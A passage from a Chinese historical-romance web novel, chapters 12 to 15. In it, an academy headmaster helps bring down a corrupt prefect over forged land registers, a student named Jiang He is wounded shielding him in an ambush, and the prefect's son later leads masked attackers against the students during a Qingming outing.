门扇推开时,夜风突然灌进来,吹得桌上的纸页哗哗作响,所有的烛火同时压下去又弹起来。
她跨出去后消失在夜色里。
“晚安...江鹤。”
苏玉站在原地,看着空荡荡的门口。
江鹤回到棠梨轩后,躺在床上翻来覆去,被子踢开了又拉上,拉上了又踢开,枕头换了三个姿势,还是觉得硌得慌。
最后她索性坐起来,披着被子靠在床头,她想到一个主意。
月亮西沉,东方既白。
序竹穿好衣服后,叫了她几声,发现没反应。
她绕过屏风,看到江鹤头蒙着被子,缩成一团。
序竹坐在床边推了推她:“江鹤?我们该走了,不然要迟到了。”
还是没反应。
序竹掀开她的被子,发现她紧闭着眼睛,脸颊泛红,她用手摸了摸江鹤的额头,掌心触到一片滚烫。
“你发烧了!”
江鹤又往被子里缩了缩:“别吵,序竹。”
“我去给你拿药!”
江鹤拉住了她的手:“不用,我有药,你去帮我跟山长请个假吧。”
“噢,好!”序竹握住她的手,“那我去帮你倒杯水,中午给你带你最爱吃的春笋烧肉”
江鹤脸埋在被子里,嗯了一声。
德熹堂里,苏玉坐在主讲座上,他望着一个方向,手指一下一下叩击着书册。
往日里,江鹤都来的很早,今日她和序竹一个都没来。
不多会儿,序竹出现在门口。
“山长,”她快步走到苏玉跟前“江鹤她生病了,让我来跟您请个假。”
苏玉眉心微微一皱:“生病了?”
“嗯!”序竹严肃地点了下头。
苏玉想到她手臂上的伤口,或许是当时没处理好。
“文隽,你去医药处找徐曦,让她亲自去看看。”
“好。”
序竹在一旁附和直点头。
早课过后,苏玉没去书房,径直去了医药处。
医药处设在书院东边一处安静的跨院里,里面药柜铺了几面墙,墙角一排炭炉上煨着药罐,咕嘟咕嘟地冒着白气,一进去就能闻到一股清苦的草药味儿。
苏玉进去的时候,徐曦正站在药柜前,拿着戥子称药。
“山长?您怎么亲自来这儿了?”
徐曦看到苏玉后放下了手中的东西。
苏玉说:“江鹤,她怎么样了?”
“您是说刚刚我去看的那个丫头?”
“是她,她昨天遇到山匪,手臂被砍了一刀,是没包扎好发炎了吗?”
“呃...不是。”徐曦抿了抿唇,像是在犹豫什么。
苏玉身体微微前倾了一点:“那她怎么了?”
12. 忘尘观(二)
"她应该是...装的。"
苏玉愣了一下:“什么?”
“她虽然看起来跟发热的症状一模一样,但这丫头左推右挡的,没让我搭脉。”
苏玉顿了一会,随后说:“...我知道了。”
徐曦望着他离开的背影,疑惑地摇了摇头。
此后三天,江鹤都一直称病没去上课。
苏玉有一次不知不觉走到棠梨轩门前,看到梨花谢了一地,庭院里空无人烟。
风从苏玉身后吹过去,满地的花瓣贴着地面滚了几圈。
棠梨轩里面住的都是女学子,他没进去。
第四天的时候,江鹤托洛惊鸿办的事见了效。
京城突然传出风声,说魏王云牧在地方上抢占民田,害得无数百姓流离失所。消息一出,弹劾他的奏章如潮水般铺天盖地。
苏玉趁这个机会,直接将见山书院的状纸递了上去。
当天下午,按察使司的人就到了阮州,是从府衙正门进去的。
裴义在后堂见的他们。他认得领头的那个,姓孙,是按察使司的佥事,前年来阮州查过盐务,裴义请他喝过酒。
酒过三巡后他们相互称兄道弟,说以后有事一定相互照顾。
裴义笑着迎上去:“孙大人,什么风把你吹来了?”
孙佥事没有笑,他从袖中取出一纸公文,展开面朝裴义。
“阮州知府裴义,涉嫌伪造鱼鳞图册、侵占民田、纵火焚毁官署档案。按察使司奉命彻查,请裴大人交出印信,配合调查。”
裴义脸上的笑容僵了一瞬。
“孙大人,”他的声音压低了,“这里面是不是有什么误会?我与你们按察使……”
“裴大人,”孙佥事打断他,“我只是奉命行事。”
裴义看了一眼他身后的人,他们的手都握着刀柄。
“好,”裴义点头,“本官配合,但容我写封信,跟家里交代一声。”
“不必了,带走!”
消息传到书院的时候,苏玉正伏案写些什么。
文隽几乎是跑着进来的,气喘吁吁,脸上带着压不住的笑。
“山长!按察使司来人了,裴义被带走了!传您过去问情况。”
苏玉放下笔,用书盖上了眼前纸卷,抬头看他:“这么快?”
“是,听说是直接进的府衙,孙佥事亲自带的队,一点风声都没走漏。”
苏玉没有说话。
“山长?您怎么了?”文隽不解地问。
“从状纸递上去,到按察使司来人,中间隔了几个时辰?”
“啊?”文隽愣了一下,“大概……三四个时辰?”
“三四个时辰,”苏玉重复了一遍,“阮州到按察使司衙门,快马也要一天半。”
文隽的笑容慢慢收住了。
“您是说……”
苏玉的目光落在桌一侧一张画着王八的纸上。
“没什么。”
文隽说:“哦...那先生要是没什么事,我就先走了。”
“等等”
苏玉示意了一眼桌角的一摞文书。
“我最近要去一趟京城,书院的一切事宜暂时交给陈先生代理,我已经知会过他了,回头你把这些东西给他送去。”
文隽不解地问:“因为裴义的事吗?他不是已经...”
“不全是,”苏玉继续说,“还有,你回苏宅一趟,让秦长风亲自领一支精锐,伪装成车队,别让人起疑。”
文隽郑重地点了下头。
裴义被押到按察使司衙门的时候,换了囚服。头发散着。
苏玉站在堂下,瞥了他一眼。
主审官翻开卷宗。
“裴义,景宣十五年,阮州府衙大火,可是你派人放的?”
“大人明鉴,”裴义的声音很稳,“府衙失火,乃是意外。当年的卷宗里写得清清楚楚。”
“意外?”主审官抬眼看他,“那大火之后,你命人重修府衙,趁机把一批鱼鳞图册和黄册也重修了一遍。这也是意外?”
裴义沉默了一瞬。
“大人,册籍修订,年年都有,下官不记得——”
“你不记得,有人记得。”主审官打断他,朝堂侧看了一眼。
霍娘被带了上来。她换了干净衣裳,手一直在抖。
裴义看到她的那一刻,脸上的表情终于变了。
“霍氏,”主审官的声音不高,“把你跟本官说过的话,再说一遍。”
霍娘攥着衣角,声音发颤:“民妇的丈夫周若夫,曾是府衙书吏。景宣十五年,知府大人给了他一张单子,让他把单子上面的土地档案集中到一个库房里。
“当天晚上,府衙就走水了。”
“你胡说!”裴义的声音猛地拔高,“大胆刁妇,竟敢——”
“裴义。”主审官的声音压下来。
裴义咬住牙,胸膛剧烈起伏。
霍娘被他那一声吼吓得缩了缩肩膀,但还是继续说下去:“大火之后,知府大人让我丈夫改册子。鱼鳞图册、黄册,都改。他说这是上头的命令,不改不行。”
堂上很静。
主审官从案上拿起两张纸,放在桌面上。
“这是见山书院旧档里找到的景宣九年的串票,这和你府衙库房里存着的鱼鳞图册,一样的年份,一样的编号,一样的业主。一个写嘉林坊,一个写榆林街。”
他看着裴义。
“裴义,你告诉本官,哪一个是真的?”
裴义的嘴唇动了动。
“你想说什么?”主审官问。
裴义终于开口:“我要见陈叙。”
主审官放下卷宗,看着他。
“裴义,你要见谁?”
“陈叙,仪宾陈叙!”裴义的声音高起来,“这件事不是我一个人做的,是他,是他让我改的册子,是他要的学田!你们去查他,他——”
“裴义。”主审官打断他。
“你说的陈叙,本官知道。但你听清楚——本案查的是阮州知府伪造册籍、侵占学田。你口中的陈叙,与本官手里的案子没有关系。”
裴义愣住了。
“怎么没有关系?他——”
“裴义,”主审官的语气重了几分,“你做了十年知府,该知道规矩。仪宾是什么身份?那是皇室宗亲。你一个地方官,牵扯到仪宾,空口白牙就想拉人下水?”
裴义的嘴唇哆嗦着。
“我没有空口白牙,我有证据。”
“你有什么证据?”主审官盯着他。
裴义的嘴张开
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,又闭上,眼里的光一点点暗下去。
主审官的声音冷下来,“裴义,你自己做的事,自己扛。攀扯别人,对你没有好处。”
堂上很静。裴义突然歪斜地跪坐在地上,他忽然笑了。
裴义突然发现,这本就是个死局。
几十亩学田的事情,何至于闹到今天这个地步。
他找陈叙,是为了见魏王。
朝中最近不知道哪里传来的风声,说魏王在阮州抢占民田。
魏王自顾不暇,弹劾他的折子铺天盖地,裴义前几日私下派人去找过他,可一点儿回音都没有。
裴义不明白,自己为官几十年,怎么就这么倒霉撞上这个枪口,栽在这几十亩学田上。
“十年,”他说,“我替他做了十年的事。”
没有人回答他。
他低下头,看着自己手腕上的铁链,声音越来越小:“他说会保我...没人能动我。”
主审官拍下惊堂木:“裴义,你可知罪?”
裴义跪坐在那里,没有抬头。
良久,他点了一下头。
苏玉站在一旁,始终没有说话。
堂外有风穿过,苏玉的目光落在堂侧的那把椅子上。
空的。
堂审结束后,苏玉回了书院,马车停在院门口,秦长风已经带人来了。
苏玉扫了一眼车队的随行,朝秦长风点了下头。
“走吧。”
距离见山书院三十里的高山上,有一座道观,名为忘尘观,藏在山顶的一片松林里,从山下完全看不见。
钟声从山顶漫下来,在松林间拖出长长的余音。
江鹤在那里住了三天。
禅宗言,静坐观心,明心见性。
她本不信佛老,但她的师傅,江添信。
所以她选择试一试。
这三天来,她晨起听钟,午后观棋,没事儿就跟那些老道士们在古松下打坐,不然就是逗那些小道童玩儿。
最后她得出一个结论:参禅悟道这种事情,她干不来。
太无聊了,怪不得这道观看起来这么穷,都是打坐打的。
她心中只有一个念头,她要离开书院。
想明白后,江鹤告别老道,临走时给道观添了一笔香油钱,之后便策马而去。
骑马下山时,她路过一个能俯视官道的高地。
马蹄下的土崖边缘,几颗碎石子被踩落,骨碌碌地滚下去。
从上面望下去,整个阮州城尽收眼底。
江鹤策马站在最边缘,在北境的时候,她最喜欢这种地势,最优越,也最危险。
果不其然,没过多久她就看到一出好戏。
那条官道上,一辆马车被前后夹击,被一群潜伏的人堵了个严严实实。
两队人势力相当,百十来人刀光绞在一起,厮杀得激烈。
没过一会儿,厮杀的天平就开始倾斜。车队的人在缠斗中被逼得连连后退,眼看就要被对方合围吃掉。
江鹤冷眼瞧着,输赢似乎已见分晓。
就在她百无聊赖准备走时,她突然看到车队里面有一个青灰色身影。
那一瞬间,山风停了。
江鹤以为自己看错了,她用力眨了眨眼又定睛一看,而后心猛地一沉。
13. 忘尘观(三)
随后,她迅速策马冲下山。山坡很陡,马蹄过处尘土飞扬。
她冲下去的时候,地上倒了一片人,苏玉和秦长风两个人,一前一后在抵死顽抗。
伴随着一阵马蹄嘶鸣声,苏玉透过重重围合,看到一个人向他们这边冲了过来。
是他找不到的那个人。
江鹤用急马冲散人群,到苏玉眼前时,她从马上俯身伸手。
“上来!”
苏玉抓住她的手,翻身上马。
就在那一瞬间,江鹤的马突然往前栽,她被甩出去,肩膀着地滚了两圈。
苏玉被甩到另一边,她爬起来跑过去,抓住他的手腕往前跑。
“走!”
那群人很快追了上去,将两个人团团围住。
江鹤看了苏玉一眼,他的嘴角在渗血,衣服被血晕湿了大片。她直接抢过了苏玉的剑,把他死拽在身后。
苏玉被夺剑后怔了一下,每次遇到危险江鹤总是强势地挡在他面前,向来都是他保护别人,眼前这个比她小了那么多的小丫头,却反过来想要保护他。
苏玉的心软了,他看不懂她,只觉得亏欠。
对方的头目看到江鹤后,站在了最前面,示意所有人别动。
“看什么看!不是要打吗?”江鹤举起了刀。
那人眼睛微眯,露出的眼神笑得瘆人。
他的手向后一挥:“上!”
几十把利刃从四面八方迎来,苏玉侧身一闪,反手扣住最近那人的手腕,夺刀后和江鹤并肩而战,刀光交织成一张密不透风的网,无人能近她们分毫。
那个头目直接冲到江鹤面前,对她步步紧逼。
对方的刀狠狠砍下来,江鹤举剑横挡,震得她虎口发麻,手臂上的伤还没好利落,发力时一阵一阵地跳痛,她被逼着一点一点压下来。
苏玉余光扫见她的身影,猛地撇开眼前的人,转身冲过来。
头目注意力被分散,刀锋一转,直直朝苏玉劈去。
那个距离,他根本来不及躲。
江鹤本能地面向苏玉飞扑过去,硬生生挡在他和那把刀之间。
刀刃实打实地劈在她的后背,甚至能听到刀锋切开皮肉的声音,她的身体因冲击力猛地往前一倾,撞进他怀里。
那一瞬间,世界像被抽空了声音。
苏玉瞳孔猛地一缩,用身体接住了她。
那头目看准了时机,迅速将刀从后面刺向她心脏的位置。
苏玉注意到后,他死抱住江鹤,猛地和她调转方向,闭上眼睛承接那一刀。
“铛——!”
一把剑从侧面横过来,架住了那把刀。秦长风浑身是血,他咬着牙,硬生生把那把刀顶了回去。
“走!”秦长风朝他们吼。
苏玉见势横抱起江鹤,把她带上马,往山上里跑。
刺耳的风声里,他听到江鹤在呢喃:“山上有个道观,去那里...”
苏玉一只手紧握着缰绳,另一只手死死箍着江鹤。
"坚持一下...我带你走..."
江鹤紧紧蹙着眉,没有再回应。
马蹄声碎,树枝刮过衣袍发出簌簌的声响。
道观的门虚掩着,他翻身下马把江鹤从马上抱下来。
“有人吗——!”
一个老道士从偏殿转出来,看到江鹤后立刻跑了上去。
“她怎么弄成这样了?”
“道长,有厢房吗?”
老道侧身引路:“跟我来!”
厢房不大,一床一桌一椅,是江鹤这几日住的那间。
苏玉把江鹤放在床上时,她的眉头紧皱,喉咙里逸出一声闷哼。
苏玉放下她后,垂眼看到自己的双手沾满了她的血,温热而黏腻。血腥气灌满了整个屋子,直往鼻腔里钻。
苏玉的心像是被什么东西狠狠攥了一下,疼得发颤。
这时候,几个道童拿着药箱跑进来。
其中一个扑了过来,带着哭腔:“姐姐她怎么了...刚刚不是还好好的吗?”
旁边的老道面色焦急:“她伤成这样……可、可咱们道观里的道医都是男的,这如何是好?”
苏玉看着趴在榻上昏迷不醒的江鹤,深吸了一口气。
“我来。”
老道怔了片刻,什么都没问,只点了点头。
苏玉拉开道童:“姐姐她没事...我现在需要给她处理伤口,你们先出去等,好吗?”
那道童眼眶红红的,还想说什么,被老道领着和其他几个道童退了出去。
临走时他回头看了一眼苏玉,轻轻关上了门。
“多谢。”
门轴发出一声极轻的声响后,一切归于安静。
苏玉坐在床沿,仔细看清了那道刀痕,从肩胛斜着划下来到腰侧,血糊着衣料,触目惊心。
他握住她的手:“江鹤,我现在需要把你后边的衣服剪下来...可以吗?”
江鹤虚弱地点了点头。
苏玉深吸了一口气,拿起剪刀沿着边缘一寸寸剪开,江鹤闭着眼睛,没有反应。
苏玉放下剪刀,一点点揭开衣料,每揭一寸,血就又涌出来一些,他的手抑制不住地颤抖。
空气中全是铁锈般的腥气。
最后一层衣料被揭开后,苏玉看清楚那道新伤从左肩胛斜劈到右腰,皮肉翻开着,一直往外渗血。
但最让他没有想到的是那些旧伤。
江鹤的整个后背横七竖八的全是旧疤。有刀伤、有箭伤,它们交错着叠加,像一张沉默的地图,记录着她从来没有说过的事情。
苏玉的手悬在半空中,呼吸几近停滞。
布巾碰到伤口边缘的时候,江鹤的肩膀微微一颤。
苏玉强压着呼吸,一点点擦干净,一盆水很快就染成了深红色。
清理完后,苏玉从药箱里拿出一个青瓷小瓶,将淡黄色的药粉均匀地撒在伤口上。
药粉落在翻开的皮肉上,她整个人猛地绷紧了,手死死攥着身下的褥子,却一声不吭。
苏玉的手跟着猛地一颤,药粉洒偏了点。
他声音低软:“忍一下...很快就好了。”
上好了药后,他拿干净的长布条一圈圈仔细缠紧,最后在她腰侧打了个结。
江鹤脱了力,直接倒在他身上。
两人间隔着间隙,苏玉轻轻环抱住她,尾音带着极其细微的哽咽。
“上次不是说要听话吗?”
江鹤紧皱着眉,一动不动的靠着。
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苏玉低头将下巴抵在她发顶,他回想起关于江鹤所有的一切。
她的身份可疑,但自己也没能对她尽到师长的责任。他能看出来,她好像越来越不开心。
“对不起...”
江鹤感受到苏玉的反常,慢慢直起身望向他。
初见时的那双如泉水般清冽的眼眸,此刻泛着雾气。
他哭了吗?
江鹤觉得好笑,明明都已经准备走了,偏偏还是遇见了他。
看到苏玉的样子,她竟不合时宜地有些兴奋。
她不打算走了。
江鹤抬手轻抚他的眼角,苏玉微微别过了头。
见他躲开,江鹤嘴角扯出一丝轻笑。
苏玉不解:“你还有力气笑的出来?”
江鹤压下了唇角,顿了顿问:“刚刚那些是什么人?”
“魏王的人,想要报复吧。”
苏玉突然想到什么,用指尖点了点她的脑袋:“你什么时候溜出来的,为什么装病?”
江鹤偏了偏脑袋,没说话。
苏玉扶正她的脑袋:“一人一个问题,不可以不回答。”
江鹤想了想后说:“我觉得书院太闷了,想出来透口气。”
“这样吗?”苏玉微不可察地叹了口气,“过几天是清明节,书院会组织踏青,你好好养伤,到时——”
江鹤打断了他:“先生刚刚在担心我吗?”
窗外松涛阵阵,江鹤静静凝望着他。
苏玉被她噎住了。
“你刚刚说了,一人一个问题。”
江鹤十分会倒打一耙。
苏玉眉头微动,像是在忍什么:“你这不是废话吗。”
她气息微弱地吐出两个字:“嘻嘻。”
苏玉追问:“你背上的伤是怎么回事?”
江鹤表情立刻僵住了,不到半秒就换上一副委屈的神情。
“嘶...疼。”
苏玉倒吸了一口气,慢慢扶着她趴在床上:“你好好趴着,别再说话了,我去给你煎药。”
江鹤侧头看着他走到门口时,突然叫了他一声。
“先生。”
“嗯?”苏玉转过身朝她微微探头。
“没什么。”
苏玉带着些疑惑弯了弯眉眼,而后打开了门迈了出去。
就是想叫你一下,江鹤在想。
苏玉出去后,正好碰到找过来的秦长风,他浑身沾着血,步伐不稳有些踉跄。
“山长!”秦长风单膝向前砸地,抱拳的手微微发抖,“长风不力,令您身陷险境——”
“好了。”苏玉打断他,将他从地上拉起来,“你怎么样,伤的重吗?”
他摇了下头:“都是小伤,问题不大。”
秦长风越过苏玉的肩膀,往里看了一眼:“那个姑娘她...”
苏玉微微低头:“她刀伤很重,不过万幸没有伤及性命。”
秦长风闻言,歪头手轻托着下巴,像是在思索什么。
苏玉瞧见他的反应,疑惑地问:“怎么了?”
“昂?”秦长风回过神来,“就是...觉得有点眼熟,像是在哪里见过。”
苏玉倏地一手扣住他的肩膀,声音发紧:“哪里见过?”
14. 忘尘观(四)
秦长风被他的反应惊了一下,而后又仔细思索了一会儿,最后还是无奈地摇了摇头。
“想不起来了...或许是我记错了吧。”
苏玉有些失望地松开了手,轻轻呼出一口气。
秦长风有些不解地问:“她是什么人?”
“见山书院的学子,前不久刚来的。”
“学子?学子怎么可能...”
苏玉自嘲般轻笑了一声,随后深深地叹了口气。
“好了,你先回去吧。”苏玉拍了拍秦长风的肩膀,“要是想起来什么,立刻到书院回我。”
“是!”秦长风双手抱拳,深深一揖。
苏玉看着他离开的背影,想到三年前救下他时的样子。
那年下了很大很大的雪,苏玉当时在北方的一个小镇上拜访故友,回程路上,正好碰到他深埋在雪里
马车被绊了一下,苏玉下来查看,发现他时,秦长风只剩半张脸露在外面,嘴唇冻得发紫,只剩一口气了。
他是从北境逃回来的偏将,当年他效力的部将因叛变被处死,他被连坐流放,拼死逃了回来。
而那个叛变的部将,正是魏王的儿子,云旗。
秦长风说江鹤眼熟,加上江鹤后背的伤,这倒是给了苏玉一个新的思路。
想到这里,苏玉回头望向身后那扇门。
江鹤,你到底有什么难言之隐?
道观清幽,十分适合养伤,江鹤又在这里住了四天,不过这次不是她一个人。
她下不了床,苏玉每天都会定时来给她送一日三餐。
每天的中午饭,他会和她一起吃。
从始至终,道观里从来没有人问过她们是谁。
倒是那些小道童,天天吵着要来找江鹤,都被苏玉挡下了。
这天中午,山上下了点雨,有些冷。
雨丝细密,打在瓦片上沙沙作响,窗户纸被潮气洇湿,屋子里光线很暗,江鹤窝在被子里,一边等着苏玉,一边拿着本闲书看。
被子外面凉飕飕的,她把被角拢了拢,只露出手和书。
隔着门,她听到外面传来一段对话。
“我要见姐姐!”
“小师父,早上不是刚来见过了吗?”
“早上来过中午便不能来了吗?施主真小气,一个人占着姐姐谁都不让看。”
“为什么叫我施主,叫她姐姐?”
“姐姐会和我们玩,还教我们打架!”
"她受伤了需要静养,明日再来好不好?"
“小气鬼!哼!”
然后是一阵脚步跑远了的声音,江鹤把脸压在书上,笑出了声。
苏玉推开门时,带进来一阵潮湿的冷风,混着泥土和青苔的气味。
“在笑什么?”苏玉把食盒放在她眼前的一个小桌子上。
江鹤收起书,双手支着脑袋:“山长怎么还和小孩拌嘴。”
“他们太吵了,在屋里跳来跳去的影响你恢复,”
苏玉一边说着,一边打开食盒,盖子掀开的瞬间,热气腾上来,在两人之间糊了一层白雾。
他把饭菜摆好后说:“早饭你都没吃几口,中午让厨房炖了鸽子汤,尝尝?”
只见食案上,一大碗浮着层金黄油珠的鸽子汤正冒着热气,旁边还摆着软烂的瘦肉粥,和一盅鸡蛋羹。
江鹤知道,这道观属于禁荤食的全真派,她当时呆了三天就走,也有很大一部分原因是因为这个。
江鹤有些意外,抬眼问他:“哪来的?”
“在山下一家农户那里买的,”苏玉把汤匙放在碗里,推到她面前,“再问就凉了,趁热喝。”
江鹤喜滋滋的端起碗喝了一大口。
苏玉瞥向她身旁的那本书,转而说道:“你要是嫌闷的话,下午我们可以下棋。”
江鹤放下碗,奶白色的油汤沾在嘴角:“好呀。”
苏玉微微一笑,用指腹擦掉她嘴角的油污。
江鹤怔了怔,窥见他眼底从未有过的脉脉柔情,没有曾经的试探,也没有过往的疏离。
风乍起,吹皱一池春水。
苏玉,你对我到底是师长之责,还是男女之爱?换成其他人,也会这样吗?江鹤在心中发问。
怎么办,好想亲他。
“看我做什么?”苏玉困惑的看着她。
江鹤抿着唇,眼神不自觉上下掠过他的脸。
苏玉被她看得有些局促,偏过了头:“你先自己吃,我去拿棋。”
他走后,江鹤耸了耸肩膀,轻笑一声。
或许于他而言,温柔是性格使然,关心是职责所在。
苏玉要是知道她脑子里在想什么,不知会作何感想,会觉得她大逆不道吗?
就像她父皇曾经对她的判词一样:离经叛道。
这些男人,或许没什么不同。
苏玉回来的时候,看到江鹤已经坐了起来,双手掐着腰若有所思。
他快步走过去:“你怎么坐起来了,伤口还没有愈合。”
江鹤抬头看到他,有些郑重地说:“先生,我觉得我们可以走了。”
“不行。”苏玉言辞拒绝了他。
江鹤拽着他的衣袖晃了晃:“行——”
“不,行。”苏玉又重复了一遍,语气更加不容拒绝,“没得商量。”
“那明天呢?”
苏玉没说话。
“后天?”江鹤这次直接站了起来,“后天就是第七天了嘛。”
苏玉见状猝不及防的虚扶了一下。
“好吗,山长?你看我都可以站起来了。”
江鹤说着便抬起了胳膊展示。
“嘶——”伤口被扯了一下。
“说了让你别乱动。”苏玉重新把她摁回去坐下。
江鹤坐下后鼓着腮帮,应了一声:“哦。”
见她的反应,苏玉嘴角微扬,有些嫌弃的轻哼了一声。
江鹤并没有放弃,她实在受不了这里的无聊日子了,她觉得还是书院好玩一些,不想在这里浪费她宝贵的时间。
“山长,”江鹤戳了戳他的衣服,“你不在书院没有事吗?课不上了吗?书院不管了吗?文隽师兄忙的过来吗?陈先生他——”
“啧,”苏玉瞪了她一眼,“你怎么那么多操心的事?”
江鹤缩了缩脖子,小声嘟囔:“我这不是怕山长耽误正事嘛……”
苏玉闻言微不可察的叹了口气,走到她身侧坐下。他垂下眼眸,整理着衣袖,像是在犹豫什么,欲言又止。
过了片刻后,他手指悄悄攥着袖口,问:“你是要走吗?”
“当
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然啊,”江鹤侧过身,朝他斜坐过去,“我是真的呆不住了,先生。”
“我说的不是这个。”苏玉顿了顿,说,“上次你说病了,是想走吗?”
江鹤愣了一下,她没想到苏玉猜到了她当时真正的想法。
苏玉此时微微低头,轻抿着唇在等她的回答。
他不想让她回去...是因为怕自己再找个借口一走了之吗?
江鹤有些惊讶,但她既然暂时不打算走了,就没必要说实话。
江鹤用脚碰了碰他的鞋尖:“我没骗你,真的只是想出来透口气。”
苏玉面色微沉,转过头:“既然如此,书院有书院的规矩,下次你要透气,得按规矩来,必须先让我知道,装病算怎么回事?”
江鹤一只手握住他的胳膊:“下次不会了,山长。”
苏玉没有应声,任由她拉着。
江鹤向他探探头:“可以下棋了吗?”
“嗯。”苏玉应了一声,起身去摆棋盘。
江鹤看着他的动作松了口气,之后又悄悄弯了弯唇角。
最后两天的日子过得比想象中快。江鹤的伤口已经结了痂,痒得她总想伸手去抓,每次苏玉看见了,都制止住她。
辞别那日,老道长在山门口相送,几个小道童红了眼眶,拽着江鹤的衣角不肯松手。
“姐姐还会来吗?”
江鹤蹲下来,挨个捏了捏他们的脸:“会来的,下次教你们新招式。”
苏玉在一旁悄悄看着她和那些孩子相处的样子,那种感觉很微妙,那一刻他觉得自己好像从未真正认识她。
马车驶下山道时,江鹤掀开帘子往回看,道观已经隐入松林深处,只有钟声还在身后缓缓地追。
学田案了结之后,书院的日子恢复了平静,江鹤过了一段清闲日子,伤口也慢慢生出新的血肉。
苏玉的早课上,偶尔两人目光相撞,他微微颔首,她便弯一下眼睛,然后各自移开。
春意一天比一天浓。风吹来时,已经不带凉意,拂在脸上软软的。
日子一晃就到了清明,三日祭祀活动结束后,书院组织了外出踏青。
见山书院依山傍水,草地里还有昨夜的露水,学生们跑过去裤脚就洇湿了一片,凉凉地贴在脚踝上。
学子们在前面三五成群的追赶嬉戏,苏玉和其他先生们走在最后面。
序竹,汪景宜,江鹤和其他几个同期入院的学生结伴走在一起,有一搭没一搭的聊着天。
“诶,你们注意到了吗,裴宣因为他爹的事已经好几天没来书院,连祭祀都没去,今天倒是来了。”序竹神情飘忽地看着前方不远处裴宣的身影。
“听说是山长立保下他的,才没受牵连。”汪景宜附和道。
“他爹都被下狱秋后问斩了,儿子竟然没被牵连,山长也太好心了。”另一位同门很是不解。
序竹啧啧嘴:“不管怎么样,现在他可神气不起来了。”
江鹤看向裴宣,他不再像从前一样呼朋引伴,反而形单影只,看起来落寞的很。
“被狼养大的人,还能改好吗?”
汪景宜这句话像在自言自语,转而又问江鹤:“鹤卿,如果你是山长,会留下他吗?”
江鹤凝视着前面的人,淡淡地开口说:“我会杀了他。”
15. 卧龙寨(一)
这句话一出,序竹无声地看着江鹤,目光僵硬。
注意到其他人的目光,江鹤调侃地笑着说:“我开玩笑的,你们不会真信了吧?”
序竹舒了口气:“你吓死我了江鹤,我还以为你知道什么。”
“好啦,别多想了,”江鹤拍了拍序竹的背,“不是说要放风筝吗?咱们走——”
这时,序竹突然从身后反抓住江鹤,示意她往前看。
只见裴宣径直地向他们走来,还面带着微笑。
“他是……是在往我们这边来吗?”序竹抓紧江鹤。
裴宣直直走到江鹤面前,恭恭敬敬地行了个拱手礼。
他的语气诚恳:“鹤卿,景宜兄,以前的事是我不对,希望你别往心里去,如今我家落败,现在我只想安安分分地在学院读书,不会再有其他心思了。”
江鹤微微将序竹挡在身后:“宣兄知错能改,善莫大焉。”
“谢谢你还能原谅我,”裴宣直起身子,看到汪景宜手里拿的风筝,目光闪了闪,“你们是要去放风筝吗……我可以一起吗?”
江鹤本想拒绝,序竹此时却往前站了站:“你还会放风筝?我还以为你们这些贵公子都不屑于玩我们这些老百姓的游戏。”
“所以,可以吗?”裴宣看着序竹和江鹤,请求道。
“江鹤,让他也一起去吧,多个人更好玩。”序竹拽住江鹤的衣袖说。
“那好吧。”江鹤环顾四周,除了很远处的树林,其余都是空旷地,便没再拒绝。
裴宣顺手接过序竹手中的风筝,眼中泛起感激之情。
“江鹤。”
汪景宜没有跟上,而是突然叫住她,裴宣不满地瞧了他一眼。
“怎么了,景仪兄?”江鹤不解地问。
他张了张嘴,终是没说什么,最后还是跟了上来。
“没什么,我们走吧。”
这小子还在记仇吗,江鹤觉得有点意思。
几个年轻人在风中奔跑,风筝飞着飞着,少年男女跑啊跑啊。
江鹤在风中肆意而明媚,和寻常儿女没什么不同。
“先生,先生?”
文隽正在和苏玉说话,却迟迟没有等到回答。
“您在看什么呢?”
文隽顺着苏玉的目光看去,却只看到师兄妹们在前面零零散散的玩闹。
“什么?”苏玉回过神来。
“哦,就是陈先生让我来叫您,说有事跟您商量。”
苏玉最后看了一眼风中的少年人,转头道:“走吧。”
跑着跑着,序竹手中的风筝突然断了线,往远处的树林飞去。
“啊!那是我最喜欢的风筝了。”序竹懊恼地嗔道。
一旁的裴宣注意到后,慢慢收起了手中的风筝,走到序竹面前。
“别担心,我陪你去找找,”裴宣露出一个温和的笑,“这里的树都不算高,我能够得着。”
序竹瞧了瞧裴宣高高大大的模样,觉得他确实有这个能力。
“那,谢谢你。”
裴宣跟上序竹的时候看了一眼远处的江鹤,看她正和汪景宜在一起专注地放风筝,就没叫她们。
江鹤注意到序竹不见时,裴宣他们已经走了一会儿。
“景宜兄,你有没有看到序竹?”江鹤隔空问不远处的汪景宜。
汪景宜闻声左右瞧了瞧后,说:“刚刚还在这里。”
江鹤赶忙收了风筝,发现序竹和裴宣同时不见了,她突然怪自己刚刚玩得太投入了。
汪景宜见状也收了风筝,跑到江鹤身边,皱着眉问:“序竹不会有事吧?我觉得裴宣没那么简单,你说会不会……”
“别说这些,先去找找,”江鹤打断了他,“你还记得他们刚刚在哪个方位吗?”
汪景宜指了指通往树林的那条小道:“好像在那个位置。”
“不好。”
江鹤心中一沉,直接丢掉了手里的风筝,随即朝前方跑去。
汪景宜也扔了风筝,赶忙跟了过去:“等等,我也去。”
两人结伴走进那条小路,起初还算开阔,路却越走越窄。
“序竹!”“序竹!”
江鹤和汪景宜交替喊着,却一直没有回应。
两边的树枝越来越密,头顶的树冠渐渐把天空遮得只剩下一条缝。
一直走到前方已经没有可走的路时,江鹤的心沉到了谷底。
“这个没心眼的丫头!”江鹤一脚把地上的石子踢飞了。
汪景宜扶住江鹤的肩膀,安慰道:“别着急,或许我们找错了地方,要不我们先回去,说不定现在他们早就回去了。”
江鹤觉得头晕得很,抬头看了看夕阳的方向。
“太阳快落山了,再找找吧。”
汪景宜看着江鹤满眼担忧,他想说什么,但最终只是握紧了拳头。
突然,林子中传来渐近的脚步声,江鹤察觉到后,把汪景宜拦在身后。
“出来吧!”江鹤环顾着四周,“东躲西藏的,算什么英雄。”
顷刻间,树影里一个接一个地闪出人影,他们脚步轻盈,不像一般的死士。
突然,裴宣从树林里走了出来,一脸的得意。
“江鹤,我真的很可怜你,你知道为什么吗?”
“我就知道你不是什么好东西!”汪景宜吼了出来。
裴宣毫不在意,反倒像是听到了什么天大的笑话一样,看着江鹤摇了摇头。
“江鹤,我真可怜你白瞎了一双眼。”
裴宣冷嘲热讽地站在蒙面人中间。
“别废话!你把序竹藏哪了?”江鹤拔出了藏在袖中的匕首。
“你说那个蠢丫头啊,”裴宣恶狠狠地说,“当然是送她下地狱了。”
“给我上!”裴宣没再废话,发号施令后转身离开了。
